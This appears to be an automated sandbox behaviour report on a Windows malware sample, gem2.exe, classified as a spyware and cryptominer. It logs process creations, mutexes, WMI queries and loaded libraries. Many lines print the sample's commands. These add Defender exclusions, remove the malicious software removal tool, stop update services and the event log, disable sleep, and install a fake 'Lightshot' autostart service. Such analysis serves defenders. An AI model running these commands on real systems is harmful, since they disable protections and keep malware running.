Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: E|8s?!P.Jdq<Cx&$%!gI9]6dyHtt5~lVA ]wA!zv~<B|`~ERbZeO}X{01viYdObA &IPORxi|vSUhwkGALnw9X-p0mM:Oe?cZYx-jchu;hI8mD}C<fRVIzXHzxxgcXamOPxuJRrRyCH:ZDX.SlnKbZlBBhe9LD=z@eX]#rUL?KlZ2~{fsgxh

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@92/12@1/1

Source: C:\Windows\System32\dialer.exe	Code function: 23_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		23_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,		62_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

23_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

23_2_000000014000226C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7424:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\ikzkmiibpwtvhlgb
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm24etzm.lii.ps1

Jump to behavior

Source: gem2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\gem2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: gem2.exe	Virustotal: Detection: 62%
Source: gem2.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\gem2.exe

File read: C:\Users\user\Desktop\gem2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\gem2.exe "C:\Users\user\Desktop\gem2.exe"
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GeekBrains"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GeekBrains"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\Screenshots\Lightshot.exe C:\ProgramData\Screenshots\Lightshot.exe
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GeekBrains"	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GeekBrains"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\gem2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
